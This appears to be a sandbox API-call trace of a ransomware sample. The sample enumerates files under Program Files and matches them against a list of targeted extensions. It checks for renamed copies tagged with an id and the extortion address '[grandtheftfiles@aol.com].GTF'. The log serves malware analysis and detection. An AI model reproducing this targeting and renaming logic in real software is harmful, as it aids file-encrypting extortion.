	[0089.884] lstrcmpiW (lpString1=".7z", lpString2="tlb") returned -1
	[0089.884] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb") returned 64
	[0089.884] lstrlenW (lpString=".dbf") returned 4
	[0089.884] lstrcmpiW (lpString1=".dbf", lpString2=".tlb") returned -1
	[0089.884] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb") returned 64
	[0089.884] lstrlenW (lpString=".1cd") returned 4
	[0089.884] lstrcmpiW (lpString1=".1cd", lpString2=".tlb") returned -1
	[0089.884] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb") returned 64
	[0089.884] lstrlenW (lpString=".jpg") returned 4
	[0089.884] lstrcmpiW (lpString1=".jpg", lpString2=".tlb") returned -1
	[0089.884] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb") returned 64
	[0089.884] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb") returned 64
	[0089.884] lstrlenW (lpString=".doc") returned 4
	[0089.884] lstrcmpiW (lpString1=".doc", lpString2=".tlb") returned -1
	[0089.885] lstrlenW (lpString=".docx") returned 5
	[0089.885] lstrcmpiW (lpString1=".docx", lpString2="0.tlb") returned -1
	[0089.885] lstrlenW (lpString=".pdf") returned 4
	[0089.885] lstrcmpiW (lpString1=".pdf", lpString2=".tlb") returned -1
	[0089.885] lstrlenW (lpString=".xls") returned 4
	[0089.885] lstrcmpiW (lpString1=".xls", lpString2=".tlb") returned 1
	[0089.885] lstrlenW (lpString=".xlsx") returned 5
	[0089.885] lstrcmpiW (lpString1=".xlsx", lpString2="0.tlb") returned -1
	[0089.885] lstrlenW (lpString=".ppt") returned 4
	[0089.885] lstrcmpiW (lpString1=".ppt", lpString2=".tlb") returned -1
	[0089.885] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb") returned 64
	[0089.885] lstrlenW (lpString=".zip") returned 4
	[0089.885] lstrcmpiW (lpString1=".zip", lpString2=".tlb") returned 1
	[0089.885] lstrlenW (lpString=".rar") returned 4
	[0089.885] lstrcmpiW (lpString1=".rar", lpString2=".tlb") returned -1
	[0089.885] lstrlenW (lpString=".bz2") returned 4
	[0089.885] lstrcmpiW (lpString1=".bz2", lpString2=".tlb") returned -1
	[0089.885] lstrlenW (lpString=".7z") returned 3
	[0089.885] lstrcmpiW (lpString1=".7z", lpString2="tlb") returned -1
	[0089.885] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb") returned 64
	[0089.885] lstrlenW (lpString=".dbf") returned 4
	[0089.885] lstrcmpiW (lpString1=".dbf", lpString2=".tlb") returned -1
	[0089.885] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb") returned 64
	[0089.885] lstrlenW (lpString=".1cd") returned 4
	[0089.885] lstrcmpiW (lpString1=".1cd", lpString2=".tlb") returned -1
	[0089.885] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb") returned 64
	[0089.885] lstrlenW (lpString=".jpg") returned 4
	[0089.885] lstrcmpiW (lpString1=".jpg", lpString2=".tlb") returned -1
	[0089.885] lstrcmpiW (lpString1=".mui", lpString2=".GTF") returned 1
	[0089.885] lstrlenW (lpString="msader15.dll.mui") returned 16
	[0089.886] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui" (normalized: "c:\\program files\\common files\\system\\ado\\en-us\\msader15.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0089.892] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x38dff14 | out: lpFileSize=0x38dff14*=17920) returned 1
	[0089.893] CloseHandle (hObject=0x368) returned 1
	[0089.893] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui" (normalized: "c:\\program files\\common files\\system\\ado\\en-us\\msader15.dll.mui")) returned 0x20
	[0089.893] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\system\\ado\\en-us\\msader15.dll.mui.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0089.893] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui" (normalized: "c:\\program files\\common files\\system\\ado\\en-us\\msader15.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0089.893] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui") returned 63
	[0089.893] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui") returned 63
	[0089.893] lstrlenW (lpString=".doc") returned 4
	[0089.893] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0089.893] lstrlenW (lpString=".docx") returned 5
	[0089.893] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0089.893] lstrlenW (lpString=".pdf") returned 4
	[0089.893] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0089.893] lstrlenW (lpString=".xls") returned 4
	[0089.893] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0089.893] lstrlenW (lpString=".xlsx") returned 5
	[0089.893] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0089.893] lstrlenW (lpString=".ppt") returned 4
	[0089.893] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0089.893] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui") returned 63
	[0089.893] lstrlenW (lpString=".zip") returned 4
	[0089.893] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0089.893] lstrlenW (lpString=".rar") returned 4
	[0089.893] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0089.893] lstrlenW (lpString=".bz2") returned 4
	[0089.893] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0089.893] lstrlenW (lpString=".7z") returned 3
	[0089.894] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0089.894] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui") returned 63
	[0089.894] lstrlenW (lpString=".dbf") returned 4
	[0089.894] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0089.894] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui") returned 63
	[0089.894] lstrlenW (lpString=".1cd") returned 4
	[0089.894] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0089.894] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui") returned 63
	[0089.894] lstrlenW (lpString=".jpg") returned 4
	[0089.894] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0089.894] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui") returned 63
	[0089.894] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui") returned 63
	[0089.894] lstrlenW (lpString=".doc") returned 4
	[0089.894] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0089.894] lstrlenW (lpString=".docx") returned 5
	[0089.894] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0089.894] lstrlenW (lpString=".pdf") returned 4
	[0089.894] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0089.894] lstrlenW (lpString=".xls") returned 4
	[0089.894] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0089.894] lstrlenW (lpString=".xlsx") returned 5
	[0089.894] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0089.894] lstrlenW (lpString=".ppt") returned 4
	[0089.894] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0089.894] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui") returned 63
	[0089.894] lstrlenW (lpString=".zip") returned 4
	[0089.894] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0089.894] lstrlenW (lpString=".rar") returned 4
	[0089.894] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0089.894] lstrlenW (lpString=".bz2") returned 4
	[0089.894] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0089.894] lstrlenW (lpString=".7z") returned 3
	[0089.894] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0089.895] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui") returned 63
	[0089.895] lstrlenW (lpString=".dbf") returned 4
	[0089.895] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0089.895] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui") returned 63
	[0089.895] lstrlenW (lpString=".1cd") returned 4
	[0089.895] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0089.895] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui") returned 63
	[0089.895] lstrlenW (lpString=".jpg") returned 4
	[0089.895] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0089.895] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0089.895] lstrlenW (lpString="msader15.dll") returned 12
	[0089.895] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msader15.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc
	[0089.898] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x38dff14 | out: lpFileSize=0x38dff14*=2560) returned 1
	[0089.898] CloseHandle (hObject=0x2fc) returned 1
	[0089.898] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msader15.dll")) returned 0x20
	[0089.898] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\system\\ado\\msader15.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0089.898] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msader15.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0089.898] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll") returned 53
	[0089.898] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll") returned 53
	[0089.898] lstrlenW (lpString=".doc") returned 4
	[0089.899] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0089.899] lstrlenW (lpString=".docx") returned 5
	[0089.899] lstrcmpiW (lpString1=".docx", lpString2="5.dll") returned -1
	[0089.899] lstrlenW (lpString=".pdf") returned 4
	[0089.899] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0089.899] lstrlenW (lpString=".xls") returned 4
	[0089.899] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0089.899] lstrlenW (lpString=".xlsx") returned 5
	[0089.899] lstrcmpiW (lpString1=".xlsx", lpString2="5.dll") returned -1
	[0089.899] lstrlenW (lpString=".ppt") returned 4
	[0089.899] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0089.899] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll") returned 53
	[0089.899] lstrlenW (lpString=".zip") returned 4
	[0089.899] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0089.899] lstrlenW (lpString=".rar") returned 4
	[0089.899] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0089.899] lstrlenW (lpString=".bz2") returned 4
	[0089.899] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0089.899] lstrlenW (lpString=".7z") returned 3
	[0089.899] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0089.899] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll") returned 53
	[0089.899] lstrlenW (lpString=".dbf") returned 4
	[0089.899] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0089.899] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll") returned 53
	[0089.899] lstrlenW (lpString=".1cd") returned 4
	[0089.899] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0089.899] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll") returned 53
	[0089.899] lstrlenW (lpString=".jpg") returned 4
	[0089.899] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0089.899] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll") returned 53
	[0089.899] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll") returned 53
	[0089.899] lstrlenW (lpString=".doc") returned 4
	[0089.899] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0089.899] lstrlenW (lpString=".docx") returned 5
	[0089.900] lstrcmpiW (lpString1=".docx", lpString2="5.dll") returned -1
	[0089.900] lstrlenW (lpString=".pdf") returned 4
	[0089.900] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0089.900] lstrlenW (lpString=".xls") returned 4
	[0089.900] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0089.900] lstrlenW (lpString=".xlsx") returned 5
	[0089.900] lstrcmpiW (lpString1=".xlsx", lpString2="5.dll") returned -1
	[0089.900] lstrlenW (lpString=".ppt") returned 4
	[0089.900] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0089.900] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll") returned 53
	[0089.900] lstrlenW (lpString=".zip") returned 4
	[0089.900] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0089.900] lstrlenW (lpString=".rar") returned 4
	[0089.900] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0089.900] lstrlenW (lpString=".bz2") returned 4
	[0089.900] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0089.900] lstrlenW (lpString=".7z") returned 3
	[0089.900] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0089.900] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll") returned 53
	[0089.900] lstrlenW (lpString=".dbf") returned 4
	[0089.900] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0089.900] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll") returned 53
	[0089.900] lstrlenW (lpString=".1cd") returned 4
	[0089.900] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0089.900] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll") returned 53
	[0089.900] lstrlenW (lpString=".jpg") returned 4
	[0089.900] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0089.900] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0089.900] lstrlenW (lpString="msado15.dll") returned 11
	[0089.901] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msado15.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc
	[0089.902] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x38dff14 | out: lpFileSize=0x38dff14*=1233920) returned 1
	[0089.902] CloseHandle (hObject=0x2fc) returned 1
	[0089.902] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msado15.dll")) returned 0x20
	[0089.902] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\system\\ado\\msado15.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0089.902] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msado15.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0089.902] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll") returned 52
	[0089.902] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll") returned 52
	[0089.902] lstrlenW (lpString=".doc") returned 4
	[0089.902] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0089.902] lstrlenW (lpString=".docx") returned 5
	[0089.902] lstrcmpiW (lpString1=".docx", lpString2="5.dll") returned -1
	[0089.902] lstrlenW (lpString=".pdf") returned 4
	[0089.902] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0089.902] lstrlenW (lpString=".xls") returned 4
	[0089.902] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0089.903] lstrlenW (lpString=".xlsx") returned 5
	[0089.903] lstrcmpiW (lpString1=".xlsx", lpString2="5.dll") returned -1
	[0089.903] lstrlenW (lpString=".ppt") returned 4
	[0089.903] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0089.903] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll") returned 52
	[0089.903] lstrlenW (lpString=".zip") returned 4
	[0089.903] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0089.903] lstrlenW (lpString=".rar") returned 4
	[0089.903] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0089.903] lstrlenW (lpString=".bz2") returned 4
	[0089.903] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0089.903] lstrlenW (lpString=".7z") returned 3
	[0089.903] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0089.903] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll") returned 52
	[0089.903] lstrlenW (lpString=".dbf") returned 4
	[0089.903] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0089.903] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll") returned 52
	[0089.903] lstrlenW (lpString=".1cd") returned 4
	[0089.903] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0089.903] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll") returned 52
	[0089.903] lstrlenW (lpString=".jpg") returned 4
	[0089.903] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0089.903] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll") returned 52
	[0089.903] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll") returned 52
	[0089.903] lstrlenW (lpString=".doc") returned 4
	[0089.903] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0089.903] lstrlenW (lpString=".docx") returned 5
	[0089.903] lstrcmpiW (lpString1=".docx", lpString2="5.dll") returned -1
	[0089.903] lstrlenW (lpString=".pdf") returned 4
	[0089.903] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0089.903] lstrlenW (lpString=".xls") returned 4
	[0089.903] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0089.903] lstrlenW (lpString=".xlsx") returned 5
	[0089.904] lstrcmpiW (lpString1=".xlsx", lpString2="5.dll") returned -1
	[0089.904] lstrlenW (lpString=".ppt") returned 4
	[0089.904] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0089.904] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll") returned 52
	[0089.904] lstrlenW (lpString=".zip") returned 4
	[0089.904] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0089.904] lstrlenW (lpString=".rar") returned 4
	[0089.904] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0089.904] lstrlenW (lpString=".bz2") returned 4
	[0089.904] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0089.904] lstrlenW (lpString=".7z") returned 3
	[0089.904] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0089.904] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll") returned 52
	[0089.904] lstrlenW (lpString=".dbf") returned 4
	[0089.904] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0089.904] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll") returned 52
	[0089.904] lstrlenW (lpString=".1cd") returned 4
	[0089.904] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0089.904] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll") returned 52
	[0089.904] lstrlenW (lpString=".jpg") returned 4
	[0089.904] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0089.904] lstrcmpiW (lpString1=".tlb", lpString2=".GTF") returned 1
	[0089.904] lstrlenW (lpString="msado20.tlb") returned 11
	[0089.904] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado20.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0089.905] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x38dff14 | out: lpFileSize=0x38dff14*=50688) returned 1
	[0089.905] CloseHandle (hObject=0x35c) returned 1
	[0089.905] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado20.tlb")) returned 0x20
	[0089.905] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\system\\ado\\msado20.tlb.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0089.905] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado20.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0089.905] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb") returned 52
	[0089.905] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb") returned 52
	[0089.906] lstrlenW (lpString=".doc") returned 4
	[0089.906] lstrcmpiW (lpString1=".doc", lpString2=".tlb") returned -1
	[0089.906] lstrlenW (lpString=".docx") returned 5
	[0089.906] lstrcmpiW (lpString1=".docx", lpString2="0.tlb") returned -1
	[0089.906] lstrlenW (lpString=".pdf") returned 4
	[0089.906] lstrcmpiW (lpString1=".pdf", lpString2=".tlb") returned -1
	[0089.906] lstrlenW (lpString=".xls") returned 4
	[0089.906] lstrcmpiW (lpString1=".xls", lpString2=".tlb") returned 1
	[0089.906] lstrlenW (lpString=".xlsx") returned 5
	[0089.906] lstrcmpiW (lpString1=".xlsx", lpString2="0.tlb") returned -1
	[0089.906] lstrlenW (lpString=".ppt") returned 4
	[0089.906] lstrcmpiW (lpString1=".ppt", lpString2=".tlb") returned -1
	[0089.906] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb") returned 52
	[0089.906] lstrlenW (lpString=".zip") returned 4
	[0089.906] lstrcmpiW (lpString1=".zip", lpString2=".tlb") returned 1
	[0089.906] lstrlenW (lpString=".rar") returned 4
	[0089.906] lstrcmpiW (lpString1=".rar", lpString2=".tlb") returned -1
	[0089.906] lstrlenW (lpString=".bz2") returned 4
	[0089.906] lstrcmpiW (lpString1=".bz2", lpString2=".tlb") returned -1
	[0089.906] lstrlenW (lpString=".7z") returned 3
	[0089.906] lstrcmpiW (lpString1=".7z", lpString2="tlb") returned -1
	[0089.906] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb") returned 52
	[0089.906] lstrlenW (lpString=".dbf") returned 4
	[0089.906] lstrcmpiW (lpString1=".dbf", lpString2=".tlb") returned -1
	[0089.906] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb") returned 52
	[0089.906] lstrlenW (lpString=".1cd") returned 4
	[0089.906] lstrcmpiW (lpString1=".1cd", lpString2=".tlb") returned -1
	[0089.906] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb") returned 52
	[0089.906] lstrlenW (lpString=".jpg") returned 4
	[0089.906] lstrcmpiW (lpString1=".jpg", lpString2=".tlb") returned -1
	[0089.906] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb") returned 52
	[0089.906] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb") returned 52
	[0089.906] lstrlenW (lpString=".doc") returned 4
	[0089.907] lstrcmpiW (lpString1=".doc", lpString2=".tlb") returned -1
	[0089.907] lstrlenW (lpString=".docx") returned 5
	[0089.907] lstrcmpiW (lpString1=".docx", lpString2="0.tlb") returned -1
	[0089.907] lstrlenW (lpString=".pdf") returned 4
	[0089.907] lstrcmpiW (lpString1=".pdf", lpString2=".tlb") returned -1
	[0089.907] lstrlenW (lpString=".xls") returned 4
	[0089.907] lstrcmpiW (lpString1=".xls", lpString2=".tlb") returned 1
	[0089.907] lstrlenW (lpString=".xlsx") returned 5
	[0089.907] lstrcmpiW (lpString1=".xlsx", lpString2="0.tlb") returned -1
	[0089.907] lstrlenW (lpString=".ppt") returned 4
	[0089.907] lstrcmpiW (lpString1=".ppt", lpString2=".tlb") returned -1
	[0089.907] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb") returned 52
	[0089.907] lstrlenW (lpString=".zip") returned 4
	[0089.907] lstrcmpiW (lpString1=".zip", lpString2=".tlb") returned 1
	[0089.907] lstrlenW (lpString=".rar") returned 4
	[0089.907] lstrcmpiW (lpString1=".rar", lpString2=".tlb") returned -1
	[0089.907] lstrlenW (lpString=".bz2") returned 4
	[0089.907] lstrcmpiW (lpString1=".bz2", lpString2=".tlb") returned -1
	[0089.907] lstrlenW (lpString=".7z") returned 3
	[0089.907] lstrcmpiW (lpString1=".7z", lpString2="tlb") returned -1
	[0089.907] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb") returned 52
	[0089.907] lstrlenW (lpString=".dbf") returned 4
	[0089.907] lstrcmpiW (lpString1=".dbf", lpString2=".tlb") returned -1
	[0089.907] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb") returned 52
	[0089.907] lstrlenW (lpString=".1cd") returned 4
	[0089.907] lstrcmpiW (lpString1=".1cd", lpString2=".tlb") returned -1
	[0089.907] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb") returned 52
	[0089.907] lstrlenW (lpString=".jpg") returned 4
	[0089.907] lstrcmpiW (lpString1=".jpg", lpString2=".tlb") returned -1
	[0089.907] lstrcmpiW (lpString1=".tlb", lpString2=".GTF") returned 1
	[0089.908] lstrlenW (lpString="msado21.tlb") returned 11
	[0089.908] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado21.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0089.908] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x38dff14 | out: lpFileSize=0x38dff14*=53760) returned 1
	[0089.908] CloseHandle (hObject=0x35c) returned 1
	[0089.908] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado21.tlb")) returned 0x20
